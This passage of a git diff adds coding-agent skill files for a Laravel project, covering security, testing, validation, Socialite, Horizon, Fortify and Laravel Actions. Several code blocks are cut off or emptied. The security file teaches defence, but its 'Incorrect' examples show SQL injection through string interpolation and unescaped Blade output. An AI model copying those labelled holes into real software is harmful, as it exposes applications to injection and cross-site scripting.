+ Schedule::command('emails:prune');
+ });
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/security.md b/.claude/skills/laravel-best-practices/rules/security.md
new file mode 100644
index 000000000..524d47e61
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/security.md
@@ -0,0 +1,198 @@
+# Security Best Practices
+
+## Mass Assignment Protection
+
+Every model must define `$fillable` (whitelist) or `$guarded` (blacklist).
+
+Incorrect:
+```php
+class User extends Model
+{
+ protected $guarded = []; // All fields are mass assignable
+}
+```
+
+Correct:
+```php
+class User extends Model
+{
+ protected $fillable = [
+ 'name',
+ 'email',
+ 'password',
+ ];
+}
+```
+
+Never use `$guarded = []` on models that accept user input.
+
+## Authorize Every Action
+
+Use policies or gates in controllers. Never skip authorization.
+
+Incorrect:
+```php
+public function update(Request $request, Post $post)
+{
+ $post->update($request->validated());
+}
+```
+
+Correct:
+```php
+public function update(UpdatePostRequest $request, Post $post)
+{
+ Gate::authorize('update', $post);
+
+ $post->update($request->validated());
+}
+```
+
+Or via Form Request:
+
+```php
+public function authorize(): bool
+{
+ return $this->user()->can('update', $this->route('post'));
+}
+```
+
+## Prevent SQL Injection
+
+Always use parameter binding. Never interpolate user input into queries.
+
+Incorrect:
+```php
+DB::select("SELECT * FROM users WHERE name = '{$request->name}'");
+```
+
+Correct:
+```php
+User::where('name', $request->name)->get();
+
+// Raw expressions with bindings
+User::whereRaw('LOWER(name) = ?', [strtolower($request->name)])->get();
+```
+
+## Escape Output to Prevent XSS
+
+Use `{{ }}` for HTML escaping. Only use `{!! !!}` for trusted, pre-sanitized content.
+
+Incorrect:
+```blade
+{!! $user->bio !!}
+```
+
+Correct:
+```blade
+{{ $user->bio }}
+```
+
+## CSRF Protection
+
+Include `@csrf` in all POST/PUT/DELETE Blade forms. Not needed in Inertia.
+
+Incorrect:
+```blade
+
+```
+
+Correct:
+```blade
+
+```
+
+## Rate Limit Auth and API Routes
+
+Apply `throttle` middleware to authentication and API routes.
+
+```php
+RateLimiter::for('login', function (Request $request) {
+ return Limit::perMinute(5)->by($request->ip());
+});
+
+Route::post('/login', LoginController::class)->middleware('throttle:login');
+```
+
+## Validate File Uploads
+
+Validate MIME type, extension, and size. Never trust client-provided filenames.
+
+```php
+public function rules(): array
+{
+ return [
+ 'avatar' => ['required', 'image', 'mimes:jpg,jpeg,png,webp', 'max:2048'],
+ ];
+}
+```
+
+Store with generated filenames:
+
+```php
+$path = $request->file('avatar')->store('avatars', 'public');
+```
+
+## Keep Secrets Out of Code
+
+Never commit `.env`. Access secrets via `config()` only.
+
+Incorrect:
+```php
+$key = env('API_KEY');
+```
+
+Correct:
+```php
+// config/services.php
+'api_key' => env('API_KEY'),
+
+// In application code
+$key = config('services.api_key');
+```
+
+## Audit Dependencies
+
+Run `composer audit` periodically to check for known vulnerabilities in dependencies. Automate this in CI to catch issues before deployment.
+
+```bash
+composer audit
+```
+
+## Encrypt Sensitive Database Fields
+
+Use `encrypted` cast for API keys/tokens and mark the attribute as `hidden`.
+
+Incorrect:
+```php
+class Integration extends Model
+{
+ protected function casts(): array
+ {
+ return [
+ 'api_key' => 'string',
+ ];
+ }
+}
+```
+
+Correct:
+```php
+class Integration extends Model
+{
+ protected $hidden = ['api_key', 'api_secret'];
+
+ protected function casts(): array
+ {
+ return [
+ 'api_key' => 'encrypted',
+ 'api_secret' => 'encrypted',
+ ];
+ }
+}
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/style.md b/.claude/skills/laravel-best-practices/rules/style.md
new file mode 100644
index 0000000000000000000000000000000000000000..db689bf774d1763ac3ec520a3874015f5421ff5b
GIT binary patch
literal 4443
zcmb7H|8g6*5$@mj6gxJXBU_TPGV!!SM{H%Ls*_r-YD&%@j)w&AKoK^0I0HCRY@C@s
zM4zxv(rqc3Rg4_YS46<&Z-l2$9V!-oHYUfv=K_C|PowZt|LcB75;$1eTUe78Vh&a+E%-f!B^_a3OyuOh!1j+3CF~xh&C6Q
z*=`XQmT8HzBMo|P)XsSFwYJu8q05a}Nq8>Un^s}fxWXTc+D!ClW^}bJz?`D4gwP={HL5A^SnD#A?)(C5LRZ
zR@zG|^YKcHT#n048H9Q7>X){{QHr&?hq_KiVE^8jd(B0!WswWps*3d4DH&@1R8(75
z(o_>v@X2ovWz1l+2v>~J<^>HjOLin4++uISp>Q7sc=
zww6}<$`&|bt}L=XnXE+ip&z}g_gV`3HWN5EPEweC&DDJI?qyj{CR+efKb>jeTy0sD
zWtYI5qv?KwV!+7*dZa^2FYxC)TK@TN*ocD0=F&btK-5a%Wxf!e#ktaJd!wnwhV#M0
z|0*OpGDbs1S7xm&uSe55UhMTw=n7u9VGYd&_0x8mxwqVDzMxBM#erT(T>>Yi70@@Er6gkS%swHiLEM*)?2zc&R!b$)u{^0DPCWn-5getf^
zqwL-7)#&%+#9FdML00VP=EV)It0I7c8`GuUi-V&wR=MBE?KnxIkV45w0(RotSq(2
z5JBRcjqs-zn!;f43?h8rSf*Nmx8L*f!4K&P%HqkB0gWjgkH;zaLPU;y;I-Mt_EVJK
z5225`U*USQfgjQV7uBs9|qK
z8N(d$vlHhUP>F9>t{hc!
zpk(1NTthYH##aU%kYRXf1Z5TJ#a|1EE=6q<>`nN5$zBCL1$xV1li$&!Wm{EWjJgF+mOY
z2m}FlAue$xtpY2C90Ue9gpB9NU51F{eEN|$BM6k3O;JN_tnZ3KW*Cu$J)pVA7jKfx
zaAd+LQR$pk$3cm3G=+DZ*%xEtGUz;w>gE-uon7-1V<>b8zw_u7Tofqy@TeZsE$W5A
zjUuG+Q%gDQht~?1jCf*ZqtdaFudezoDD5U(J5b>JS*l%5P?3c6WmL#(LhH_DBsfbQ>Dd4CXi
F{|%Ge#T5Vm
literal 0
HcmV?d00001
diff --git a/.claude/skills/laravel-best-practices/rules/testing.md b/.claude/skills/laravel-best-practices/rules/testing.md
new file mode 100644
index 000000000..d39cc3ed0
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/testing.md
@@ -0,0 +1,43 @@
+# Testing Best Practices
+
+## Use `LazilyRefreshDatabase` Over `RefreshDatabase`
+
+`RefreshDatabase` runs all migrations every test run even when the schema hasn't changed. `LazilyRefreshDatabase` only migrates when needed, significantly speeding up large suites.
+
+## Use Model Assertions Over Raw Database Assertions
+
+Incorrect: `$this->assertDatabaseHas('users', ['id' => $user->id]);`
+
+Correct: `$this->assertModelExists($user);`
+
+More expressive, type-safe, and fails with clearer messages.
+
+## Use Factory States and Sequences
+
+Named states make tests self-documenting. Sequences eliminate repetitive setup.
+
+Incorrect: `User::factory()->create(['email_verified_at' => null]);`
+
+Correct: `User::factory()->unverified()->create();`
+
+## Use `Exceptions::fake()` to Assert Exception Reporting
+
+Instead of `withoutExceptionHandling()`, use `Exceptions::fake()` to assert the correct exception was reported while the request completes normally.
+
+## Call `Event::fake()` After Factory Setup
+
+Model factories rely on model events (e.g., `creating` to generate UUIDs). Calling `Event::fake()` before factory calls silences those events, producing broken models.
+
+Incorrect: `Event::fake(); $user = User::factory()->create();`
+
+Correct: `$user = User::factory()->create(); Event::fake();`
+
+## Use `recycle()` to Share Relationship Instances Across Factories
+
+Without `recycle()`, nested factories create separate instances of the same conceptual entity.
+
+```php
+Ticket::factory()
+ ->recycle(Airline::factory()->create())
+ ->create();
+```
\ No newline at end of file
diff --git a/.claude/skills/laravel-best-practices/rules/validation.md b/.claude/skills/laravel-best-practices/rules/validation.md
new file mode 100644
index 000000000..a20202ff1
--- /dev/null
+++ b/.claude/skills/laravel-best-practices/rules/validation.md
@@ -0,0 +1,75 @@
+# Validation & Forms Best Practices
+
+## Use Form Request Classes
+
+Extract validation from controllers into dedicated Form Request classes.
+
+Incorrect:
+```php
+public function store(Request $request)
+{
+ $request->validate([
+ 'title' => 'required|max:255',
+ 'body' => 'required',
+ ]);
+}
+```
+
+Correct:
+```php
+public function store(StorePostRequest $request)
+{
+ Post::create($request->validated());
+}
+```
+
+## Array vs. String Notation for Rules
+
+Array syntax is more readable and composes cleanly with `Rule::` objects. Prefer it in new code, but check existing Form Requests first and match whatever notation the project already uses.
+
+```php
+// Preferred for new code
+'email' => ['required', 'email', Rule::unique('users')],
+
+// Follow existing convention if the project uses string notation
+'email' => 'required|email|unique:users',
+```
+
+## Always Use `validated()`
+
+Get only validated data. Never use `$request->all()` for mass operations.
+
+Incorrect:
+```php
+Post::create($request->all());
+```
+
+Correct:
+```php
+Post::create($request->validated());
+```
+
+## Use `Rule::when()` for Conditional Validation
+
+```php
+'company_name' => [
+ Rule::when($this->account_type === 'business', ['required', 'string', 'max:255']),
+],
+```
+
+## Use the `after()` Method for Custom Validation
+
+Use `after()` instead of `withValidator()` for custom validation logic that depends on multiple fields.
+
+```php
+public function after(): array
+{
+ return [
+ function (Validator $validator) {
+ if ($this->quantity > Product::find($this->product_id)?->stock) {
+ $validator->errors()->add('quantity', 'Not enough stock.');
+ }
+ },
+ ];
+}
+```
\ No newline at end of file
diff --git a/.claude/skills/socialite-development/SKILL.md b/.claude/skills/socialite-development/SKILL.md
new file mode 100644
index 000000000..e660da691
--- /dev/null
+++ b/.claude/skills/socialite-development/SKILL.md
@@ -0,0 +1,80 @@
+---
+name: socialite-development
+description: "Manages OAuth social authentication with Laravel Socialite. Activate when adding social login providers; configuring OAuth redirect/callback flows; retrieving authenticated user details; customizing scopes or parameters; setting up community providers; testing with Socialite fakes; or when the user mentions social login, OAuth, Socialite, or third-party authentication."
+license: MIT
+metadata:
+ author: laravel
+---
+
+# Socialite Authentication
+
+## Documentation
+
+Use `search-docs` for detailed Socialite patterns and documentation (installation, configuration, routing, callbacks, testing, scopes, stateless auth).
+
+## Available Providers
+
+Built-in: `facebook`, `twitter`, `twitter-oauth-2`, `linkedin`, `linkedin-openid`, `google`, `github`, `gitlab`, `bitbucket`, `slack`, `slack-openid`, `twitch`
+
+Community: 150+ additional providers at [socialiteproviders.com](https://socialiteproviders.com). For provider-specific setup, use `WebFetch` on `https://socialiteproviders.com/{provider-name}`.
+
+Configuration key in `config/services.php` must match the driver name exactly — note the hyphenated keys: `twitter-oauth-2`, `linkedin-openid`, `slack-openid`.
+
+Twitter/X: Use `twitter-oauth-2` (OAuth 2.0) for new projects. The legacy `twitter` driver is OAuth 1.0. Driver names remain unchanged despite the platform rebrand.
+
+Community providers differ from built-in providers in the following ways:
+- Installed via `composer require socialiteproviders/{name}`
+- Must register via event listener — NOT auto-discovered like built-in providers
+- Use `search-docs` for the registration pattern
+
+## Adding a Provider
+
+### 1. Configure the provider
+
+Add the provider's `client_id`, `client_secret`, and `redirect` to `config/services.php`. The config key must match the driver name exactly.
+
+### 2. Create redirect and callback routes
+
+Two routes are needed: one that calls `Socialite::driver('provider')->redirect()` to send the user to the OAuth provider, and one that calls `Socialite::driver('provider')->user()` to receive the callback and retrieve user details.
+
+### 3. Authenticate and store the user
+
+In the callback, use `updateOrCreate` to find or create a user record from the provider's response (`id`, `name`, `email`, `token`, `refreshToken`), then call `Auth::login()`.
+
+### 4. Customize the redirect (optional)
+
+- `scopes()` — merge additional scopes with the provider's defaults
+- `setScopes()` — replace all scopes entirely
+- `with()` — pass optional parameters (e.g., `['hd' => 'example.com']` for Google)
+- `asBotUser()` — Slack only; generates a bot token (`xoxb-`) instead of a user token (`xoxp-`). Must be called before both `redirect()` and `user()`. Only the `token` property will be hydrated on the user object.
+- `stateless()` — for API/SPA contexts where session state is not maintained
+
+### 5. Verify
+
+1. Config key matches driver name exactly (check the list above for hyphenated names)
+2. `client_id`, `client_secret`, and `redirect` are all present
+3. Redirect URL matches what is registered in the provider's OAuth dashboard
+4. Callback route handles denied grants (when user declines authorization)
+
+Use `search-docs` for complete code examples of each step.
+
+## Additional Features
+
+Use `search-docs` for usage details on: `enablePKCE()`, `userFromToken($token)`, `userFromTokenAndSecret($token, $secret)` (OAuth 1.0), retrieving user details.
+
+User object: `getId()`, `getName()`, `getEmail()`, `getAvatar()`, `getNickname()`, `token`, `refreshToken`, `expiresIn`, `approvedScopes`
+
+## Testing
+
+Socialite provides `Socialite::fake()` for testing redirects and callbacks. Use `search-docs` for faking redirects, callback user data, custom token properties, and assertion methods.
+
+## Common Pitfalls
+
+- Config key must match driver name exactly — hyphenated drivers need hyphenated keys (`linkedin-openid`, `slack-openid`, `twitter-oauth-2`). Mismatch silently fails.
+- Every provider needs `client_id`, `client_secret`, and `redirect` in `config/services.php`. Missing any one causes cryptic errors.
+- `scopes()` merges with defaults; `setScopes()` replaces all scopes entirely.
+- Missing `stateless()` in API/SPA contexts causes `InvalidStateException`.
+- Redirect URL in `config/services.php` must exactly match the provider's OAuth dashboard (including trailing slashes and protocol).
+- Do not pass `state`, `response_type`, `client_id`, `redirect_uri`, or `scope` via `with()` — these are reserved.
+- Community providers require event listener registration via `SocialiteWasCalled`.
+- `user()` throws when the user declines authorization. Always handle denied grants.
\ No newline at end of file
diff --git a/.cursor/skills/configuring-horizon/SKILL.md b/.cursor/skills/configuring-horizon/SKILL.md
new file mode 100644
index 000000000..bed1e74c0
--- /dev/null
+++ b/.cursor/skills/configuring-horizon/SKILL.md
@@ -0,0 +1,85 @@
+---
+name: configuring-horizon
+description: "Use this skill whenever the user mentions Horizon by name in a Laravel context. Covers the full Horizon lifecycle: installing Horizon (horizon:install, Sail setup), configuring config/horizon.php (supervisor blocks, queue assignments, balancing strategies, minProcesses/maxProcesses), fixing the dashboard (authorization via Gate::define viewHorizon, blank metrics, horizon:snapshot scheduling), and troubleshooting production issues (worker crashes, timeout chain ordering, LongWaitDetected notifications, waits config). Also covers job tagging and silencing. Do not use for generic Laravel queues without Horizon, SQS or database drivers, standalone Redis setup, Linux supervisord, Telescope, or job batching."
+license: MIT
+metadata:
+ author: laravel
+---
+
+# Horizon Configuration
+
+## Documentation
+
+Use `search-docs` for detailed Horizon patterns and documentation covering configuration, supervisors, balancing, dashboard authorization, tags, notifications, metrics, and deployment.
+
+For deeper guidance on specific topics, read the relevant reference file before implementing:
+
+- `references/supervisors.md` covers supervisor blocks, balancing strategies, multi-queue setups, and auto-scaling
+- `references/notifications.md` covers LongWaitDetected alerts, notification routing, and the `waits` config
+- `references/tags.md` covers job tagging, dashboard filtering, and silencing noisy jobs
+- `references/metrics.md` covers the blank metrics dashboard, snapshot scheduling, and retention config
+
+## Basic Usage
+
+### Installation
+
+```bash
+php artisan horizon:install
+```
+
+### Supervisor Configuration
+
+Define supervisors in `config/horizon.php`. The `environments` array merges into `defaults` and does not replace the whole supervisor block:
+
+
+```php
+'defaults' => [
+ 'supervisor-1' => [
+ 'connection' => 'redis',
+ 'queue' => ['default'],
+ 'balance' => 'auto',
+ 'minProcesses' => 1,
+ 'maxProcesses' => 10,
+ 'tries' => 3,
+ ],
+],
+
+'environments' => [
+ 'production' => [
+ 'supervisor-1' => ['maxProcesses' => 20, 'balanceCooldown' => 3],
+ ],
+ 'local' => [
+ 'supervisor-1' => ['maxProcesses' => 2],
+ ],
+],
+```
+
+### Dashboard Authorization
+
+Restrict access in `App\Providers\HorizonServiceProvider`:
+
+
+```php
+protected function gate(): void
+{
+ Gate::define('viewHorizon', function (User $user) {
+ return $user->is_admin;
+ });
+}
+```
+
+## Verification
+
+1. Run `php artisan horizon` and visit `/horizon`
+2. Confirm dashboard access is restricted as expected
+3. Check that metrics populate after scheduling `horizon:snapshot`
+
+## Common Pitfalls
+
+- Horizon only works with the Redis queue driver. Other drivers such as database and SQS are not supported.
+- Redis Cluster is not supported. Horizon requires a standalone Redis connection.
+- Always check `config/horizon.php` before making changes to understand the current supervisor and environment configuration.
+- The `environments` array overrides only the keys you specify. It merges into `defaults` and does not replace it.
+- The timeout chain must be ordered: job `timeout` less than supervisor `timeout` less than `retry_after`. The wrong order can cause jobs to be retried before Horizon finishes timing them out.
+- The metrics dashboard stays blank until `horizon:snapshot` is scheduled. Running `php artisan horizon` alone does not populate metrics.
+- Always use `search-docs` for the latest Horizon documentation rather than relying on this skill alone.
\ No newline at end of file
diff --git a/.cursor/skills/configuring-horizon/references/metrics.md b/.cursor/skills/configuring-horizon/references/metrics.md
new file mode 100644
index 000000000..312f79ee7
--- /dev/null
+++ b/.cursor/skills/configuring-horizon/references/metrics.md
@@ -0,0 +1,21 @@
+# Metrics & Snapshots
+
+## Where to Find It
+
+Search with `search-docs`:
+- `"horizon metrics snapshot"` for the snapshot command and scheduling
+- `"horizon trim snapshots"` for retention configuration
+
+## What to Watch For
+
+### Metrics dashboard stays blank until `horizon:snapshot` is scheduled
+
+Running `horizon` artisan command does not populate metrics automatically. The metrics graph is built from snapshots, so `horizon:snapshot` must be scheduled to run every 5 minutes via Laravel's scheduler.
+
+### Register the snapshot in the scheduler rather than running it manually
+
+A single manual run populates the dashboard momentarily but will not keep it updated. Search `"horizon metrics snapshot"` for the exact scheduler registration syntax, which differs between Laravel 10 and 11+.
+
+### `metrics.trim_snapshots` is a snapshot count, not a time duration
+
+The `trim_snapshots.job` and `trim_snapshots.queue` values in `config/horizon.php` are counts of snapshots to keep, not minutes or hours. With the default of 24 snapshots at 5-minute intervals, that provides 2 hours of history. Increase the value to retain more history at the cost of Redis memory usage.
\ No newline at end of file
diff --git a/.cursor/skills/configuring-horizon/references/notifications.md b/.cursor/skills/configuring-horizon/references/notifications.md
new file mode 100644
index 000000000..943d1a26a
--- /dev/null
+++ b/.cursor/skills/configuring-horizon/references/notifications.md
@@ -0,0 +1,21 @@
+# Notifications & Alerts
+
+## Where to Find It
+
+Search with `search-docs`:
+- `"horizon notifications"` for Horizon's built-in notification routing helpers
+- `"horizon long wait detected"` for LongWaitDetected event details
+
+## What to Watch For
+
+### `waits` in `config/horizon.php` controls the LongWaitDetected threshold
+
+The `waits` array (e.g., `'redis:default' => 60`) defines how many seconds a job can wait in a queue before Horizon fires a `LongWaitDetected` event. This value is set in the config file, not in Horizon's notification routing. If alerts are firing too often or too late, adjust `waits` rather than the routing configuration.
+
+### Use Horizon's built-in notification routing in `HorizonServiceProvider`
+
+Configure notifications in the `boot()` method of `App\Providers\HorizonServiceProvider` using `Horizon::routeMailNotificationsTo()`, `Horizon::routeSlackNotificationsTo()`, or `Horizon::routeSmsNotificationsTo()`. Horizon already wires `LongWaitDetected` to its notification sender, so the documented setup is notification routing rather than manual listener registration.
+
+### Failed job alerts are separate from Horizon's documented notification routing
+
+Horizon's 12.x documentation covers built-in long-wait notifications. Do not assume the docs provide a `JobFailed` listener example in `HorizonServiceProvider`. If a user needs failed job alerts, treat that as custom queue event handling and consult the queue documentation instead of Horizon's notification-routing API.
\ No newline at end of file
diff --git a/.cursor/skills/configuring-horizon/references/supervisors.md b/.cursor/skills/configuring-horizon/references/supervisors.md
new file mode 100644
index 000000000..9da0c1769
--- /dev/null
+++ b/.cursor/skills/configuring-horizon/references/supervisors.md
@@ -0,0 +1,27 @@
+# Supervisor & Balancing Configuration
+
+## Where to Find It
+
+Search with `search-docs` before writing any supervisor config, as option names and defaults change between Horizon versions:
+- `"horizon supervisor configuration"` for the full options list
+- `"horizon balancing strategies"` for auto, simple, and false modes
+- `"horizon autoscaling workers"` for autoScalingStrategy details
+- `"horizon environment configuration"` for the defaults and environments merge
+
+## What to Watch For
+
+### The `environments` array merges into `defaults` rather than replacing it
+
+The `defaults` array defines the complete base supervisor config. The `environments` array patches it per environment, overriding only the keys listed. There is no need to repeat every key in each environment block. A common pattern is to define `connection`, `queue`, `balance`, `autoScalingStrategy`, `tries`, and `timeout` in `defaults`, then override only `maxProcesses`, `balanceMaxShift`, and `balanceCooldown` in `production`.
+
+### Use separate named supervisors to enforce queue priority
+
+Horizon does not enforce queue order when using `balance: auto` on a single supervisor. The `queue` array order is ignored for load balancing. To process `notifications` before `default`, use two separately named supervisors: one for the high-priority queue with a higher `maxProcesses`, and one for the low-priority queue with a lower cap. The docs include an explicit note about this.
+
+### Use `balance: false` to keep a fixed number of workers on a dedicated queue
+
+Auto-balancing suits variable load, but if a queue should always have exactly N workers such as a video-processing queue limited to 2, set `balance: false` and `maxProcesses: 2`. Auto-balancing would scale it up during bursts, which may be undesirable.
+
+### Set `balanceCooldown` to prevent rapid worker scaling under bursty load
+
+When using `balance: auto`, the supervisor can scale up and down rapidly under bursty load. Set `balanceCooldown` to the number of seconds between scaling decisions, typically 3 to 5, to smooth this out. `balanceMaxShift` limits how many processes are added or removed per cycle.
\ No newline at end of file
diff --git a/.cursor/skills/configuring-horizon/references/tags.md b/.cursor/skills/configuring-horizon/references/tags.md
new file mode 100644
index 000000000..263c955c1
--- /dev/null
+++ b/.cursor/skills/configuring-horizon/references/tags.md
@@ -0,0 +1,21 @@
+# Tags & Silencing
+
+## Where to Find It
+
+Search with `search-docs`:
+- `"horizon tags"` for the tagging API and auto-tagging behaviour
+- `"horizon silenced jobs"` for the `silenced` and `silenced_tags` config options
+
+## What to Watch For
+
+### Eloquent model jobs are tagged automatically without any extra code
+
+If a job's constructor accepts Eloquent model instances, Horizon automatically tags the job with `ModelClass:id` such as `App\Models\User:42`. These tags are filterable in the dashboard without any changes to the job class. Only add a `tags()` method when custom tags beyond auto-tagging are needed.
+
+### `silenced` hides jobs from the dashboard completed list but does not stop them from running
+
+Adding a job class to the `silenced` array in `config/horizon.php` removes it from the completed jobs view. The job still runs normally. This is a dashboard noise-reduction tool, not a way to disable jobs.
+
+### `silenced_tags` hides all jobs carrying a matching tag from the completed list
+
+Any job carrying a matching tag string is hidden from the completed jobs view. This is useful for silencing a category of jobs such as all jobs tagged `notifications`, rather than silencing specific classes.
\ No newline at end of file
diff --git a/.cursor/skills/fortify-development/SKILL.md b/.cursor/skills/fortify-development/SKILL.md
new file mode 100644
index 000000000..86322d9c0
--- /dev/null
+++ b/.cursor/skills/fortify-development/SKILL.md
@@ -0,0 +1,131 @@
+---
+name: fortify-development
+description: 'ACTIVATE when the user works on authentication in Laravel. This includes login, registration, password reset, email verification, two-factor authentication (2FA/TOTP/QR codes/recovery codes), profile updates, password confirmation, or any auth-related routes and controllers. Activate when the user mentions Fortify, auth, authentication, login, register, signup, forgot password, verify email, 2FA, or references app/Actions/Fortify/, CreateNewUser, UpdateUserProfileInformation, FortifyServiceProvider, config/fortify.php, or auth guards. Fortify is the frontend-agnostic authentication backend for Laravel that registers all auth routes and controllers. Also activate when building SPA or headless authentication, customizing login redirects, overriding response contracts like LoginResponse, or configuring login throttling. Do NOT activate for Laravel Passport (OAuth2 API tokens), Socialite (OAuth social login), or non-auth Laravel features.'
+license: MIT
+metadata:
+ author: laravel
+---
+
+# Laravel Fortify Development
+
+Fortify is a headless authentication backend that provides authentication routes and controllers for Laravel applications.
+
+## Documentation
+
+Use `search-docs` for detailed Laravel Fortify patterns and documentation.
+
+## Usage
+
+- **Routes**: Use `list-routes` with `only_vendor: true` and `action: "Fortify"` to see all registered endpoints
+- **Actions**: Check `app/Actions/Fortify/` for customizable business logic (user creation, password validation, etc.)
+- **Config**: See `config/fortify.php` for all options including features, guards, rate limiters, and username field
+- **Contracts**: Look in `Laravel\Fortify\Contracts\` for overridable response classes (`LoginResponse`, `LogoutResponse`, etc.)
+- **Views**: All view callbacks are set in `FortifyServiceProvider::boot()` using `Fortify::loginView()`, `Fortify::registerView()`, etc.
+
+## Available Features
+
+Enable in `config/fortify.php` features array:
+
+- `Features::registration()` - User registration
+- `Features::resetPasswords()` - Password reset via email
+- `Features::emailVerification()` - Requires User to implement `MustVerifyEmail`
+- `Features::updateProfileInformation()` - Profile updates
+- `Features::updatePasswords()` - Password changes
+- `Features::twoFactorAuthentication()` - 2FA with QR codes and recovery codes
+
+> Use `search-docs` for feature configuration options and customization patterns.
+
+## Setup Workflows
+
+### Two-Factor Authentication Setup
+
+```
+- [ ] Add TwoFactorAuthenticatable trait to User model
+- [ ] Enable feature in config/fortify.php
+- [ ] If the `*_add_two_factor_columns_to_users_table.php` migration is missing, publish via `php artisan vendor:publish --tag=fortify-migrations` and migrate
+- [ ] Set up view callbacks in FortifyServiceProvider
+- [ ] Create 2FA management UI
+- [ ] Test QR code and recovery codes
+```
+
+> Use `search-docs` for TOTP implementation and recovery code handling patterns.
+
+### Email Verification Setup
+
+```
+- [ ] Enable emailVerification feature in config
+- [ ] Implement MustVerifyEmail interface on User model
+- [ ] Set up verifyEmailView callback
+- [ ] Add verified middleware to protected routes
+- [ ] Test verification email flow
+```
+
+> Use `search-docs` for MustVerifyEmail implementation patterns.
+
+### Password Reset Setup
+
+```
+- [ ] Enable resetPasswords feature in config
+- [ ] Set up requestPasswordResetLinkView callback
+- [ ] Set up resetPasswordView callback
+- [ ] Define password.reset named route (if views disabled)
+- [ ] Test reset email and link flow
+```
+
+> Use `search-docs` for custom password reset flow patterns.
+
+### SPA Authentication Setup
+
+```
+- [ ] Set 'views' => false in config/fortify.php
+- [ ] Install and configure Laravel Sanctum for session-based SPA authentication
+- [ ] Use the 'web' guard in config/fortify.php (required for session-based authentication)
+- [ ] Set up CSRF token handling
+- [ ] Test XHR authentication flows
+```
+
+> Use `search-docs` for integration and SPA authentication patterns.
+
+#### Two-Factor Authentication in SPA Mode
+
+When `views` is set to `false`, Fortify returns JSON responses instead of redirects.
+
+If a user attempts to log in and two-factor authentication is enabled, the login request will return a JSON response indicating that a two-factor challenge is required:
+
+```json
+{
+ "two_factor": true
+}
+```
+
+## Best Practices
+
+### Custom Authentication Logic
+
+Override authentication behavior using `Fortify::authenticateUsing()` for custom user retrieval or `Fortify::authenticateThrough()` to customize the authentication pipeline. Override response contracts in `AppServiceProvider` for custom redirects.
+
+### Registration Customization
+
+Modify `app/Actions/Fortify/CreateNewUser.php` to customize user creation logic, validation rules, and additional fields.
+
+### Rate Limiting
+
+Configure via `fortify.limiters.login` in config. Default configuration throttles by username + IP combination.
+
+## Key Endpoints
+
+| Feature | Method | Endpoint |
+|------------------------|----------|---------------------------------------------|
+| Login | POST | `/login` |
+| Logout | POST | `/logout` |
+| Register | POST | `/register` |
+| Password Reset Request | POST | `/forgot-password` |
+| Password Reset | POST | `/reset-password` |
+| Email Verify Notice | GET | `/email/verify` |
+| Resend Verification | POST | `/email/verification-notification` |
+| Password Confirm | POST | `/user/confirm-password` |
+| Enable 2FA | POST | `/user/two-factor-authentication` |
+| Confirm 2FA | POST | `/user/confirmed-two-factor-authentication` |
+| 2FA Challenge | POST | `/two-factor-challenge` |
+| Get QR Code | GET | `/user/two-factor-qr-code` |
+| Recovery Codes | GET/POST | `/user/two-factor-recovery-codes` |
\ No newline at end of file
diff --git a/.cursor/skills/laravel-actions/SKILL.md b/.cursor/skills/laravel-actions/SKILL.md
new file mode 100644
index 000000000..862dd55b5
--- /dev/null
+++ b/.cursor/skills/laravel-actions/SKILL.md
@@ -0,0 +1,302 @@
+---
+name: laravel-actions
+description: Build, refactor, and troubleshoot Laravel Actions using lorisleiva/laravel-actions. Use when implementing reusable action classes (object/controller/job/listener/command), converting service classes/controllers/jobs into actions, orchestrating workflows via faked actions, or debugging action entrypoints and wiring.
+---
+
+# Laravel Actions or `lorisleiva/laravel-actions`
+
+## Overview
+
+Use this skill to implement or update actions based on `lorisleiva/laravel-actions` with consistent structure and predictable testing patterns.
+
+## Quick Workflow
+
+1. Confirm the package is installed with `composer show lorisleiva/laravel-actions`.
+2. Create or edit an action class that uses `Lorisleiva\Actions\Concerns\AsAction`.
+3. Implement `handle(...)` with the core business logic first.
+4. Add adapter methods only when needed for the requested entrypoint:
+ - `asController` (+ route/invokable controller usage)
+ - `asJob` (+ dispatch)
+ - `asListener` (+ event listener wiring)
+ - `asCommand` (+ command signature/description)
+5. Add or update tests for the chosen entrypoint.
+6. When tests need isolation, use action fakes (`MyAction::fake()`) and assertions (`MyAction::assertDispatched()`).
+
+## Base Action Pattern
+
+Use this minimal skeleton and expand only what is needed.
+
+```php
+handle($id)`.
+- Call with dependency injection: `app(PublishArticle::class)->handle($id)`.
+
+### Run as Controller
+
+- Use route to class (invokable style), e.g. `Route::post('/articles/{id}/publish', PublishArticle::class)`.
+- Add `asController(...)` for HTTP-specific adaptation and return a response.
+- Add request validation (`rules()` or custom validator hooks) when input comes from HTTP.
+
+### Run as Job
+
+- Dispatch with `PublishArticle::dispatch($id)`.
+- Use `asJob(...)` only for queue-specific behavior; keep domain logic in `handle(...)`.
+- In this project, job Actions often define additional queue lifecycle methods and job properties for retries, uniqueness, and timing control.
+
+#### Project Pattern: Job Action with Extra Methods
+
+```php
+addMinutes(30);
+ }
+
+ public function getJobBackoff(): array
+ {
+ return [60, 120];
+ }
+
+ public function getJobUniqueId(Demo $demo): string
+ {
+ return $demo->id;
+ }
+
+ public function handle(Demo $demo): void
+ {
+ // Core business logic.
+ }
+
+ public function asJob(JobDecorator $job, Demo $demo): void
+ {
+ // Queue-specific orchestration and retry behavior.
+ $this->handle($demo);
+ }
+}
+```
+
+Use these members only when needed:
+
+- `$jobTries`: max attempts for the queued execution.
+- `$jobMaxExceptions`: max unhandled exceptions before failing.
+- `getJobRetryUntil()`: absolute retry deadline.
+- `getJobBackoff()`: retry delay strategy per attempt.
+- `getJobUniqueId(...)`: deduplication key for unique jobs.
+- `asJob(JobDecorator $job, ...)`: access attempt metadata and queue-only branching.
+
+### Run as Listener
+
+- Register the action class as listener in `EventServiceProvider`.
+- Use `asListener(EventName $event)` and delegate to `handle(...)`.
+
+### Run as Command
+
+- Define `$commandSignature` and `$commandDescription` properties.
+- Implement `asCommand(Command $command)` and keep console IO in this method only.
+- Import `Command` with `use Illuminate\Console\Command;`.
+
+## Testing Guidance
+
+Use a two-layer strategy:
+
+1. `handle(...)` tests for business correctness.
+2. entrypoint tests (`asController`, `asJob`, `asListener`, `asCommand`) for wiring/orchestration.
+
+### Deep Dive: `AsFake` methods (2.x)
+
+Reference: https://www.laravelactions.com/2.x/as-fake.html
+
